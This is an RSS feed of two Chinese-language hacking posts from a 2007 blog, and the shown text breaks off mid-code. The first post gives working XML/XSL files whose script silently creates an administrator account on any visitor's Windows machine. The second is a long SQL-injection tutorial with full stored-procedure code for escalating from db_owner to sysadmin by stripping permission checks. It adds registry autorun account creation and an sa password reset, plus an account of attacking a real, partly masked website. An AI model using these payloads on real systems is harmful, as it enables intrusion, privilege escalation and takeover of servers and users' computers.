<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[台灣香料網-Tank部落格 - Tank Hacker]]></title>
<link>http://tank.tank.tw/</link>
<description><![CDATA[]]></description>
<language>zh-tw</language>
<copyright><![CDATA[Copyright 2009 台灣香料網-Tank部落格v2.8]]></copyright>
<webMaster><![CDATA[tank@tank.tw(Tank)]]></webMaster>
<generator>台灣香料網-Tank部落格</generator> 
<image>
	<title>台灣香料網-Tank部落格</title>
	<url>http://tank.tank.tw/images/logos.gif</url>
	<link>http://tank.tank.tw/</link>
	<description>台灣香料網-Tank部落格</description>
</image>

			<item>
			<link>http://tank.tank.tw/article/Hacker/利用xml+xsl給客戶機添加超級管理帳戶.htm</link>
			<title><![CDATA[利用xml+xsl給客戶機添加超級管理帳戶]]></title>
			<author>tank@tank.tw(tank)</author>
			<category><![CDATA[Tank Hacker]]></category>
			<pubDate>Sat,17 Mar 2007 00:15:50 +0800</pubDate>
			<guid>http://tank.tank.tw/article/Hacker/利用xml+xsl給客戶機添加超級管理帳戶.htm</guid>
		<description><![CDATA[<P>利用xml+xsl給客戶機添加超級管理帳戶<BR>用法：把swords.xml和swords.xsl放在一個普通空間，相信很少人會注意xml的安全性吧，嘎嘎，只要把你想運行的程式添加到run() 即可，默認支持js和vbs.<BR><BR>這個程式加了一個用戶為 admin，密碼為123456的超級管理員帳號。 <BR></P>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 5px; BACKGROUND: #f3f3f3; PADDING-BOTTOM: 5px; MARGIN: 5px 20px; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid"><STRONG>swords.xml</STRONG><BR>&lt;?xml version="1.0" encoding="&gt;BIG5"?&gt;<BR>&lt;?xml-stylesheet type="text/xsl" href="swords.xsl"?&gt;<BR>&lt;name&gt;I am swords,I am admin!&lt;/name&gt;</DIV>
<P>&nbsp;</P>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 5px; BACKGROUND: #f3f3f3; PADDING-BOTTOM: 5px; MARGIN: 5px 20px; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid"><STRONG>swords.xsl</STRONG><BR>&lt;?xml version="1.0" encoding="BIG5"?&gt; <BR>&lt;xsl:stylesheet xmlns:xsl="<A href="http://www.w3.org/TR/WD-xsl">http://www.w3.org/TR/WD-xsl</A>"&gt; <BR>&lt;xsl:template match="/"&gt; <BR>&lt;html&gt; <BR>&lt;body&gt; <BR>&lt;xsl:value-of select="name" /&gt;<BR>&lt;xsl:script&gt;<BR>function run() <BR>{ <BR>var wsh;<BR>var wsh = new ActiveXObject("WScript.Shell");<BR>wsh.run( "net user admin 123456 /add",0);<BR>wsh.run( "net localgroup administrators admin /add",0);<BR>wsh.run( "cmd.exe /c echo test!");<BR>} <BR>&lt;/xsl:script&gt; <BR>&lt;xsl:eval&gt;run()&lt;/xsl:eval&gt; <BR>&lt;/body&gt; <BR>&lt;/html&gt; <BR>&lt;/xsl:template&gt; <BR>&lt;/xsl:stylesheet&gt;</DIV>]]></description>
		</item>
		
			<item>
			<link>http://tank.tank.tw/article/Hacker/一個注射點，一個webshell甚至系統權限.htm</link>
			<title><![CDATA[一個注射點，一個webshell甚至系統權限]]></title>
			<author>tank@tank.tw(tank)</author>
			<category><![CDATA[Tank Hacker]]></category>
			<pubDate>Fri,16 Mar 2007 04:50:19 +0800</pubDate>
			<guid>http://tank.tank.tw/article/Hacker/一個注射點，一個webshell甚至系統權限.htm</guid>
		<description><![CDATA[<P><FONT color=#ff0000><STRONG>sql injection終極利用方法</STRONG></FONT>&nbsp; 作者：許文強（xwq),QQ:57133683　</P>
<P>只要給我一個注射點，無論什麼權限，我都給你一個webshell甚至系統權限</P>
<P>聲明：本文僅用於教學目的，如果因為本文造成的攻擊後果本人概不負責。因為發覺其危害過大，原文已經經過大量刪減及修改，即使這樣本文的危害性仍然很大，所以請大家不要對國內的站點做任何具有破壞性的操作。</P>
<P><BR>考慮再三，偶還是決定發出來。此招手段歹毒，利用範圍廣泛，可以說是只要是有sql注射漏洞的網站，只要運用此法99%可以拿到webshell甚至系統權限（不敢把話說滿，呵呵，經本人數百次真實"實戰演習"，基本上是100%可以拿到webshell甚至系統權限）。</P>
<P>記得我在《MSSQL db_owner角色注入直接獲得系統權限（續）》中寫過一種利用xp_regwrite來取得系統權限的方法：xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq1','REG_SZ','net user xwq xwq /add'<BR>xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq2','REG_SZ','net localgroup administrators xwq /add'，只要讓網站所在的伺服器重起，就能得到系統權限。經過本人的數百次的真實實驗，這種方法不太實用，很容易引起網管的注意，再說ddos也是違法的事（偶可是好人啊），發動一場ddos要花費的大量的人力，物力（看你的肉雞多少拉）。所以不太可行（<BR>除非是你十分想要搞定的網站）。</P>
<P>呵呵，哆嗦拉那麼多，你可能看的已經不耐煩拉，好，這就介紹我的三大必殺技之一————萬能提權。</P>
<P>假如一個網站存在sql注射漏洞，如果這個網站是用固定伺服器sysadmin權限的用戶作的連接（呵呵，通俗點說就是sa，菜鳥可以這樣認為)，呵呵，想要拿到一個webshell或者是系統權限可以說是易如反掌，輕而易舉的事，據我所知，sysadmin權限要拿到webshell或者系統權限不下10種，呵呵，可能更多吧（偶只會10種），sysadmin怎麼拿到webshell或者系統權限，我不想多說，想比大家都已經爛熟於心拉，可是要是一個網站是db_owner權限呢？你怎麼辦，你怎麼拿系統權限，怎麼拿webshell（沒有上傳漏洞和資料庫備份等功能），大家可能回說backup a shell，我記得LCX也在《MSSQL db_owner角色注入直接獲得系統權限》裡說過拉"備份得到的shell只是理論化的東東，如果一個webshell有20mb的話，你還能用它嗎？"呵呵，要是我告訴你db_owner拿到一個webshell或者是系統權限的方法和sysadmin權限的一樣多，你回有什麼反映，是不是覺得有點不可思議，或者又是我胡說呢？（不相信的朋友，下面的內容就不要看拉）</P>
<P>呵呵，是不是看的心癢癢拉，迫不及待的想知道啊，好，我不在廢話拉，這就把我的三大必殺技之一————萬能提升權限方法告訴大家。</P>
<P>在告訴大家之前，我們先做個實驗</P>
<P>實驗環境windowsxp sp1+SQL 2000 sp3,大家跟著我來step to step,首先新建一個具有db_owner的權限的用戶，這裡我是xwq（就是在伺服器角色裡面什麼都不要選，在資料庫角色裡面鉤上db_owner)，好，現在我們打開查詢分析器用xwq連上後再裡面輸入sp_addlogin xuwenqiang,執行看看，出現拉什麼？</P>
<P>伺服器: 消息 2571，級別 14，狀態 2，過程 sp_addlogin，行 16<BR>用戶 'xwq' 沒有運行 DBCC auditevent 的權限。</P>
<P>伺服器: 消息 15247，級別 16，狀態 1，過程 sp_addlogin，行 17<BR>用戶沒有執行此操作的權限。</P>
<P>呵呵，出現上面的錯誤訊息這很正常，因為只有sysadmin 和 securityadmin 固定伺服器角色的成員才可以執行 sp_addlogin，那麼怎麼才好讓sp_addlogin為我所用呢？我們在這裡看一下sp_addlogin的代碼：<BR>create procedure sp_addlogin<BR>@loginame sysname<BR>,@passwd sysname = Null<BR>,@defdb ; ; sysname = 'master' -- UNDONE: DEFAULT CONFIGURABLE???<BR>,@deflanguage sysname = Null<BR>,@sid varbinary(16) = Null<BR>,@encryptopt varchar(20) = Null<BR>AS<BR>-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --<BR>set nocount on<BR>Declare @ret int -- return value of sp call</P>
<P>-- CHECK PERMISSIONS --<BR>IF (not is_srvrolemember('securityadmin') = 1)<BR>begin<BR>dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)<BR>raiserror(15247,-1,-1)<BR>return (1)<BR>end<BR>ELSE<BR>begin<BR>dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)<BR>end</P>
<P>-- DISALLOW USER TRANSACTION --<BR>set implicit_transactions off<BR>IF (@@trancount &gt; 0)<BR>begin<BR>raiserror(15002,-1,-1,'sp_addlogin')<BR>return (1)<BR>end</P>
<P>-- VALIDATE LOGIN NAME AS:<BR>-- (1) Valid SQL Name (SQL LOGIN)<BR>-- (2) No backslash (NT users only)<BR>-- (3) Not a reserved login name<BR>execute @ret = sp_validname @loginame<BR>if (@ret &lt;&gt; 0)<BR>return (1)<BR>if (charindex('\', @loginame) &gt; 0)<BR>begin<BR>raiserror(15006,-1,-1,@loginame)<BR>return (1)<BR>end</P>
<P>--Note: different case sa is allowed.<BR>if (@loginame = 'sa' or lower(@loginame) in ('public'))<BR>begin<BR>raiserror(15405, -1 ,-1, @loginame)<BR>return (1)<BR>end</P>
<P>-- LOGIN NAME MUST NOT ALREADY EXIST --<BR>if exists(select * from master.dbo.syslogins where loginname = @loginame)<BR>begin<BR>raiserror(15025,-1,-1,@loginame)<BR>return (1)<BR>end</P>
<P>-- VALIDATE DEFAULT DATABASE --<BR>IF db_id(@defdb) IS NULL<BR>begin<BR>raiserror(15010,-1,-1,@defdb)<BR>return (1)<BR>end</P>
<P>-- VALIDATE DEFAULT LANGUAGE --<BR>IF (@deflanguage IS NOT Null)<BR>begin<BR>Execute @ret = sp_validlang @deflanguage<BR>IF (@ret &lt;&gt; 0)<BR>return (1)<BR>end<BR>ELSE<BR>begin<BR>select @deflanguage = name from master.dbo.syslanguages where langid = @@default_langid --server default language</P>
<P>if @deflanguage is null<BR>select @deflanguage = N'us_english'<BR>end</P>
<P>-- VALIDATE SID IF GIVEN --<BR>if ((@sid IS NOT Null) and (datalength(@sid) &lt;&gt; 16))<BR>begin<BR>raiserror(15419,-1,-1)<BR>return (1)<BR>end<BR>else if @sid is null<BR>select @sid = newid()<BR>if (suser_sname(@sid) IS NOT Null)<BR>begin<BR>raiserror(15433,-1,-1)<BR>return (1)<BR>end</P>
<P>-- VALIDATE AND USE ENCRYPTION OPTION --<BR>declare @xstatus smallint<BR>select @xstatus = 2 -- access<BR>if @encryptopt is null<BR>select @passwd = pwdencrypt(@passwd)<BR>else if @encryptopt = 'skip_encryption_old'<BR>begin<BR>select @xstatus = @xstatus | 0x800, -- old-style encryption<BR>@passwd = convert(sysname, convert(varbinary(30), convert(varchar(30), @passwd)))<BR>end<BR>else if @encryptopt &lt;&gt; 'skip_encryption'<BR>begin<BR>raiserror(15600,-1,-1,'sp_addlogin')<BR>return 1<BR>end</P>
<P>-- ATTEMPT THE Insert OF THE NEW LOGIN --<BR>Insert INTO master.dbo.sysxlogins VALUES(NULL, @sid, @xstatus, getdate(),getdate(), @loginame, convert(varbinary(256), @passwd),db_id(@defdb), @deflanguage)<BR>if @@error &lt;&gt; 0 -- this indicates we saw duplicate row<BR>return (1)</P>
<P>-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE --<BR>exec('use master grant all to null')</P>
<P>-- FINALIZATION: RETURN SUCCESS/FAILURE --<BR>raiserror(15298,-1,-1)<BR>return (0) -- sp_addlogin</P>
<P>GO</P>
<P>之所以只有 sysadmin 和 securityadmin 固定伺服器角色的成員才可以執行 </P>
<P>sp_addlogin，主要是這裡一段再搞鬼<BR>-- CHECK PERMISSIONS --<BR>IF (not is_srvrolemember('securityadmin') = 1)<BR>begin<BR>dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)<BR>raiserror(15247,-1,-1)<BR>return (1)<BR>end<BR>ELSE<BR>begin<BR>dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)<BR>end</P>
<P><BR>只要我們把這段代碼刪拉，任何權限的用戶都可以增加用戶拉。<BR>好，我們先把sp_addlogin刪拉</P>
<P>drop procedure sp_addlogin</P>
<P>然後再來恢復sp_addlogin</P>
<P>create procedure sp_addlogin<BR>@loginame sysname<BR>,@passwd sysname = Null<BR>,@defdb ; ; sysname = 'master' -- UNDONE: DEFAULT CONFIGURABLE???<BR>,@deflanguage sysname = Null<BR>,@sid varbinary(16) = Null<BR>,@encryptopt varchar(20) = Null<BR>AS<BR>-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --<BR>set nocount on<BR>Declare @ret int -- return value of sp call</P>
<P>-- DISALLOW USER TRANSACTION --<BR>set implicit_transactions off<BR>IF (@@trancount &gt; 0)<BR>begin<BR>raiserror(15002,-1,-1,'sp_addlogin')<BR>return (1)<BR>end</P>
<P>-- VALIDATE LOGIN NAME AS:<BR>-- (1) Valid SQL Name (SQL LOGIN)<BR>-- (2) No backslash (NT users only)<BR>-- (3) Not a reserved login name<BR>execute @ret = sp_validname @loginame<BR>if (@ret &lt;&gt; 0)<BR>return (1)<BR>if (charindex('\', @loginame) &gt; 0)<BR>begin<BR>raiserror(15006,-1,-1,@loginame)<BR>return (1)<BR>end</P>
<P>--Note: different case sa is allowed.<BR>if (@loginame = 'sa' or lower(@loginame) in ('public'))<BR>begin<BR>raiserror(15405, -1 ,-1, @loginame)<BR>return (1)<BR>end</P>
<P>-- LOGIN NAME MUST NOT ALREADY EXIST --<BR>if exists(select * from master.dbo.syslogins where loginname = @loginame)<BR>begin<BR>raiserror(15025,-1,-1,@loginame)<BR>return (1)<BR>end</P>
<P>-- VALIDATE DEFAULT DATABASE --<BR>IF db_id(@defdb) IS NULL<BR>begin<BR>raiserror(15010,-1,-1,@defdb)<BR>return (1)<BR>end</P>
<P>-- VALIDATE DEFAULT LANGUAGE --<BR>IF (@deflanguage IS NOT Null)<BR>begin<BR>Execute @ret = sp_validlang @deflanguage<BR>IF (@ret &lt;&gt; 0)<BR>return (1)<BR>end<BR>ELSE<BR>begin<BR>select @deflanguage = name from master.dbo.syslanguages where langid = @@default_langid --server default language</P>
<P>if @deflanguage is null<BR>select @deflanguage = N'us_english'<BR>end</P>
<P>-- VALIDATE SID IF GIVEN --<BR>if ((@sid IS NOT Null) and (datalength(@sid) &lt;&gt; 16))<BR>begin<BR>raiserror(15419,-1,-1)<BR>return (1)<BR>end<BR>else if @sid is null<BR>select @sid = newid()<BR>if (suser_sname(@sid) IS NOT Null)<BR>begin<BR>raiserror(15433,-1,-1)<BR>return (1)<BR>end</P>
<P>-- VALIDATE AND USE ENCRYPTION OPTION --<BR>declare @xstatus smallint<BR>select @xstatus = 2 -- access<BR>if @encryptopt is null<BR>select @passwd = pwdencrypt(@passwd)<BR>else if @encryptopt = 'skip_encryption_old'<BR>begin<BR>select @xstatus = @xstatus | 0x800, -- old-style encryption<BR>@passwd = convert(sysname, convert(varbinary(30), convert(varchar(30), @passwd)))<BR>end<BR>else if @encryptopt &lt;&gt; 'skip_encryption'<BR>begin<BR>raiserror(15600,-1,-1,'sp_addlogin')<BR>return 1<BR>end</P>
<P>-- ATTEMPT THE Insert OF THE NEW LOGIN --<BR>Insert INTO master.dbo.sysxlogins VALUES(NULL, @sid, @xstatus, getdate(),getdate(), @loginame, convert(varbinary(256), @passwd),db_id(@defdb), @deflanguage)<BR>if @@error &lt;&gt; 0 -- this indicates we saw duplicate row<BR>return (1)</P>
<P>-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE </P>
<P>SYSLOGINS CHANGE --<BR>exec('use master grant all to null')</P>
<P>-- FINALIZATION: RETURN SUCCESS/FAILURE --<BR>raiserror(15298,-1,-1)<BR>return (0) -- sp_addlogin</P>
<P>GO</P>
<P><BR>這樣我這個只具有db_owner權限的xwq就可以任意增加用戶拉，ok，在查詢分析器裡面在輸入sp_addlogin xuwenqiang，執行看看，GOOD!返回已建立新登錄。<BR>我新建拉一個用戶xuwenqiang，當然這個用戶我可不是白建的，我要把他變成具有最高權限的用戶，在sql中具有最高權限的當然是sysadmin拉，而把一個用戶變成sysadmin只有sp_addsrvrolemember這個存儲過程拉，可是只有sysadmin權限的用戶才好使用，不爽，偶要讓他為我所用，呵呵，聰明的讀者一定想到拉我怎麼讓只具有db_owner權限的我，怎麼使用sp_addsrvrolemember拉，沒錯，和讓sp_addlogin為我所用的方法一樣，只要去掉sp_addsrvrolemember中權限限制的一段，我們就可以任意增加sysadmin拉，我們先看看sp_addsrvrolemember的代碼</P>
<P>：create procedure sp_addsrvrolemember<BR>@loginame sysname, -- login name<BR>@rolename sysname = NULL -- server role name<BR>as<BR>-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --<BR>set nocount on<BR>declare @ret int, -- return value of sp call<BR>@rolebit smallint,<BR>@ismem int</P>
<P>-- DISALLOW USER TRANSACTION --<BR>set implicit_transactions off<BR>IF (@@trancount &gt; 0)<BR>begin<BR>raiserror(15002,-1,-1,'sp_addsrvrolemember')<BR>return (1)<BR>end</P>
<P>-- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --<BR>select @ismem = is_srvrolemember(@rolename)<BR>if @ismem is null<BR>begin<BR>dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename, NULL)<BR>raiserror(15402, -1, -1, @rolename)<BR>return (1)<BR>end<BR>if @ismem = 0<BR>begin<BR>dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename, NULL)<BR>raiserror(15247,-1,-1)<BR>return (1)<BR>end</P>
<P>-- AUDIT A SUCCESSFUL SECURITY CHECK --<BR>dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL)</P>
<P>-- CANNOT CHANGE SA ROLES --<BR>if @loginame = 'sa'<BR>begin<BR>raiserror(15405, -1 ,-1, @loginame)<BR>return (1)<BR>end</P>
<P>-- OBTAIN THE BIT FOR THIS ROLE --<BR>select @rolebit = CASE @rolename<BR>WHEN 'sysadmin' THEN 16<BR>WHEN 'securityadmin' THEN 32<BR>WHEN 'serveradmin' THEN 64<BR>WHEN 'setupadmin' THEN 128<BR>WHEN 'processadmin' THEN 256<BR>WHEN 'diskadmin' THEN 512<BR>WHEN 'dbcreator' THEN 1024<BR>WHEN 'bulkadmin' THEN 4096<BR>ELSE NULL END</P>
<P>-- ADD ROW FOR NT LOGIN IF NEEDED --<BR>if not exists(select * from master.dbo.syslogins where loginname = @loginame)<BR>begin<BR>execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame<BR>if (@ret &lt;&gt; 0)<BR>begin<BR>raiserror(15007,-1,-1,@loginame)<BR>return (1)<BR>end<BR>end</P>
<P>-- Update ROLE MEMBERSHIP --<BR>update master.dbo.sysxlogins set xstatus = xstatus | @rolebit, xdate2 = getdate() where name = @loginame and srvid IS NULL</P>
<P>-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE </P>
<P>SYSLOGINS CHANGE --<BR>exec('use master grant all to null')</P>
<P>raiserror(15488,-1,-1,@loginame,@rolename)</P>
<P>-- FINALIZATION: RETURN SUCCESS/FAILURE<BR>return (@@error) -- sp_addsrvrolemember</P>
<P>GO</P>
<P>把這一段刪除 -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --<BR>select @ismem = is_srvrolemember(@rolename)<BR>if @ismem is null<BR>begin<BR>dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename, NULL)<BR>raiserror(15402, -1, -1, @rolename)<BR>return (1)<BR>end<BR>if @ismem = 0<BR>begin<BR>dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename, NULL)<BR>raiserror(15247,-1,-1)<BR>return (1)<BR>end</P>
<P><BR>這樣我們就可以任意增加sysadmin拉，呵呵，爽啊。在查詢分析器裡輸入sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到這裡我們就成功利用拉一個只具有db_owner權限的用戶新建拉一個在SQL中具有至高無上權限，也就是具有sysadmin權限的用戶xuwenqiang,有拉sysadmin權限想要webshell或<BR>者系統權限還不容易麼！不要只把眼睛只放在我所說的sp_addlogin和sp_addsrvrolemember這兩個存儲過程上，凡是只有sysadmin才好使用的存儲過程，利用我的萬能提權必殺技，我們都可以使用。比如：sp-configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很多只好sysadmin權限能利用的，我們都可以讓他們為我所用。</P>
<P>下面再舉一個萬能提權的例子和我一起打造一個永遠不會被殺及完美的後門</P>
<P>我們都知道在sql中有個被黑客稱為後門的用戶，那就是sa，sa 是內置的管理員登錄，而且不能進行更改和刪除。呵呵，這是M$說的，要是你看過我寫的另外一篇文章《完全刪除sa這個後門》就知道，其實sa也是好刪除的。我們知道在sql可以改密碼的存儲過程有sp_password,可是我們必須知道要改的用戶的舊密碼，才可以更改，那麼有沒有辦法再不知道舊密碼的情況下更改sa的密碼呢？有，其實也就是利用sp_configure,sp_configure的功能是顯示或更改當前伺服器的全局配置設置。sp_configure（用於更改配置選項）的執行許可權限默認授?sysadmin 和 serveradmin 固定伺服器角色。這很容易只要把sp_configure中檢查權限的一段刪除，再重建，我們就好用拉。<BR>Create PROCEDURE sp_configure --- 1996/08/14 09:43</P>
<P>@configname varchar(35) = NULL -- option name to configure <BR>,@configvalue int = NULL -- new configuration value<BR>as</P>
<P>set nocount on</P>
<P>declare<BR>@confignum int --Num of the opt to be configured<BR>,@configcount int --Num of options like @configname<BR>,@show_advance int --Y/N Read&amp;Write actions on "advanced" opts</P>
<P>declare @fullconfigname varchar (35)<BR>declare @prevvalue int<BR>/*<BR>** Determine @maxnumber based on advance option in syscurconfigs.<BR>*/<BR>if (select value from master.dbo.syscurconfigs where config = 518) = 1<BR>select @show_advance = 1 -- Display advanced options<BR>else<BR>select @show_advance = 0 -- Don''t display advanced options</P>
<P>/*<BR>** Make certain that max user info. reflects any addpak upgrades.<BR>*/<BR>if (select high from master.dbo.spt_values where number=103 and type=''C'') &lt;&gt; @@max_connections</P>
<P>update master.dbo.spt_values<BR>set high = @@max_connections<BR>where number = 103<BR>and type=''C''</P>
<P>/*<BR>** If no option name is given, the procedure will just print out all the<BR>** options and their values.<BR>*/<BR>if @configname is NULL<BR>begin<BR>select name, minimum = low, maximum = high,<BR>config_value = c.value,<BR>run_value = master.dbo.syscurconfigs.value<BR>from master.dbo.spt_values, master.dbo.sysconfigures c, master.dbo.syscurconfigs<BR>where type = ''C''<BR>and number = c.config<BR>and number = master.dbo.syscurconfigs.config<BR>and<BR>((c.status &amp; 2 &lt;&gt; 0 and @show_advance = 1)<BR>or<BR>(c.status &amp; 2 = 0)<BR>)<BR>order by lower(name)</P>
<P>return (0)<BR>end</P>
<P>/*<BR>** Use @configname and try to find the right option.<BR>** If there isn''t just one, print appropriate diagnostics and return.<BR>*/<BR>select @configcount = count(*), @fullconfigname = min (v.name), </P>
<P>@prevvalue = min (c.value)<BR>from master.dbo.spt_values v ,master.dbo.sysconfigures c<BR>where v.name like ''%'' + @configname + ''%'' and v.type = ''C''<BR>and v.number = c.config<BR>and<BR>((c.status &amp; 2 &lt;&gt; 0 and @show_advance = 1)<BR>or<BR>(c.status &amp; 2 = 0)<BR>)</P>
<P>/*<BR>** If no option, show the user what the options are.<BR>*/<BR>if @configcount = 0<BR>begin<BR>raiserror (15123,-1,-1,@configname)</P>
<P>print '' ''<BR>raiserror (15456,-1,-1)</P>
<P>/*<BR>** Show the user what the options are.<BR>*/<BR>select name, minimum = low, maximum = high,<BR>config_value = c.value,<BR>run_value = master.dbo.syscurconfigs.value<BR>from master.dbo.spt_values, master.dbo.sysconfigures c, </P>
<P>master.dbo.syscurconfigs<BR>where type = ''C''<BR>and number = c.config<BR>and number = master.dbo.syscurconfigs.config</P>
<P>and<BR>((c.status &amp; 2 &lt;&gt; 0 and @show_advance = 1)<BR>or<BR>(c.status &amp; 2 = 0)<BR>)</P>
<P>return (1)<BR>end</P>
<P>/*<BR>** If more than one option like @configname, show the duplicates and </P>
<P>return.<BR>*/<BR>if @configcount &gt; 1<BR>begin<BR>raiserror (15124,-1,-1,@configname)<BR>print '' ''</P>
<P>select duplicate_options = name<BR>from master.dbo.spt_values,master.dbo.sysconfigures c<BR>where name like ''%'' + @configname + ''%''<BR>and type = ''C''<BR>and number = c.config<BR>and<BR>((c.status &amp; 2 &lt;&gt; 0 and @show_advance = 1)<BR>or<BR>(c.status &amp; 2 = 0)<BR>)</P>
<P>return (1)<BR>end<BR>else<BR>/* There must be exactly one, so get the full name. */<BR>select @configname = name --,@value_in_sysconfigures = c.value<BR>from master.dbo.spt_values,master.dbo.sysconfigures c<BR>where name like ''%'' + @configname + ''%'' and type = ''C''<BR>and number = c.config<BR>and<BR>((c.status &amp; 2 &lt;&gt; 0 and @show_advance = 1)<BR>or<BR>(c.status &amp; 2 = 0)<BR>)</P>
<P>/*<BR>** If @configvalue is NULL, just show the current state of the option.<BR>*/<BR>if @configvalue is null<BR>begin</P>
<P>select v.name<BR>,v.low as ''minimum''<BR>,v.high as ''maximum''<BR>,c.value as ''config_value''<BR>,u.value as ''run_value''<BR>from<BR>master.dbo.spt_values v left outer join<BR>master.dbo.sysconfigures c on v.number = c.config<BR>left outer join<BR>master.dbo.syscurconfigs u on v.number = u.config<BR>where<BR>v.type = ''C ''<BR>and v.name like ''%'' + @configname + ''%''<BR>and<BR>((c.status &amp; 2 &lt;&gt; 0 and @show_advance = 1)<BR>or<BR>(c.status &amp; 2 = 0)<BR>)</P>
<P>return (0)<BR>end</P>
<P>/*<BR>** Now get the configuration number.<BR>*/<BR>select @confignum = number<BR>from master.dbo.spt_values,master.dbo.sysconfigures c<BR>where type = ''C''<BR>and (@configvalue between low and high or @configvalue = 0)<BR>and name like ''%'' + @configname + ''%''<BR>and number = c.config<BR>and<BR>((c.status &amp; 2 &lt;&gt; 0 and @show_advance = 1)<BR>or<BR>(c.status &amp; 2 = 0)<BR>)</P>
<P>/*<BR>** If this is the number of default language, we want to make sure<BR>** that the new value is a valid language id in Syslanguages.<BR>*/<BR>if @confignum = 124<BR>begin<BR>if not exists (select * from master.dbo.syslanguages<BR>where langid = @configvalue)<BR>begin<BR>/* 0 is default language, us_english */<BR>if @configvalue &lt;&gt; 0<BR>begin<BR>raiserror(15127,-1,-1)<BR>return (1)<BR>end<BR>end<BR>end</P>
<P>/*<BR>** If this is the number of kernel language, we want to make sure<BR>** that the new value is a valid language id in Syslanguages.<BR>*/<BR>if @confignum = 132<BR>begin<BR>if not exists (select * from master.dbo.syslanguages<BR>where langid = @configvalue)<BR>begin<BR>/* 0 is default language, us_english */<BR>if @configvalue &lt;&gt; 0<BR>begin<BR>raiserror(15028,-1,-1)<BR>return (1)<BR>end<BR>end<BR>end</P>
<P>/*<BR>** "user options" should not try to set incompatible options/values.<BR>*/<BR>if @confignum = 1534 --"user options"<BR>begin</P>
<P>if (@configvalue &amp; (1024+2048) = (1024+2048)) --</P>
<P>ansi_null_default_on/off<BR>begin<BR>raiserror(15303,-1,-1,@configvalue)<BR>return (1)<BR>end<BR>end</P>
<P>/*<BR>** Although the @configname is good, @configvalue wasn''t in range.<BR>*/<BR>if @confignum is NULL<BR>begin<BR>raiserror(15129,-1,-1,@configvalue,@configname)<BR>return (1)<BR>end</P>
<P>--Msg 15002, but in 6.5 allow this inside a txn (not check @@trancount) </P>
<P>#12828.</P>
<P>/*<BR>** Now update sysconfigures.<BR>*/<BR>update master.dbo.sysconfigures set value = @configvalue<BR>where config = @confignum</P>
<P>/*<BR>** Flush the procedure cache - this is to account for options which </P>
<P>become<BR>** effective immediately (ie. dont need a server restart).<BR>*/<BR>dbcc freeproccache</P>
<P>raiserror(15457,-1,-1, @fullconfigname, @prevvalue, @configvalue) with </P>
<P>log</P>
<P>return (0) -- sp_configure</P>
<P>GO</P>
<P>&nbsp;</P>
<P>ok，我們再<BR>sp_configure ''allow updates'',1<BR>go<BR>RECONFIGURE WITH OVERRIDE<BR>go</P>
<P>好拉這樣我們才好更改sa的密碼。接著update sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50C<BR>BB30267F53B9451B7189CA67AF19A1FC where sid=0x01,這樣sa的密碼就被我們改成拉111111拉。呵呵，解決的方法就是把sa給刪拉。，怎麼刪可以參考我的《完全刪除sa這個後門》。</P>
<P><BR>實例：<BR>下面對一個國內非常出名的站點進行善意的攻擊測試，來對上面的知識進行一次大概的驗證，出於影響等諸多因素，我們稱這個站點為<A href="http://www.**173.com/">www.**173.com</A>。</P>
<P><A href="http://www.**173.com/">www.**173.com</A>這個站點在遊戲上很有名氣,排名在前20名（我當時測試的時候），在這裡我不想說我怎麼找到的注射點，大家還可以找找，還是滿多的（整個測試可真花費拉我不少時間，別誤會，我不是說時間花在"檢測"上，而是都放在寫程式裡面拉，不寫個像樣點的程式，怎麼讓我為所欲為呢？整個攻擊只有10分鐘不到）。</P>
<P>在找到的注射點gametype=**（鬱悶，要是當時測試的時候有nbsi2，偶可能要輕鬆不少），先輸入drop procedure sp_addlogin,然後在IE裡面輸入（呵呵，我當然是在我寫的程式裡面輸入拉）<BR>create procedure sp_addlogin<BR>@loginame sysname<BR>,@passwd sysname = Null<BR>,@defdb ; ; sysname = ''master'' -- UNDONE: DEFAULT CONFIGURABLE???<BR>,@deflanguage sysname = Null<BR>,@sid varbinary(16) = Null<BR>,@encryptopt varchar(20) = Null<BR>AS<BR>-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --<BR>set nocount on<BR>Declare @ret int -- return value of sp call</P>
<P>-- DISALLOW USER TRANSACTION --<BR>set implicit_transactions off<BR>IF (@@trancount &gt; 0)<BR>begin<BR>raiserror(15002,-1,-1,''sp_addlogin'')<BR>return (1)<BR>end</P>
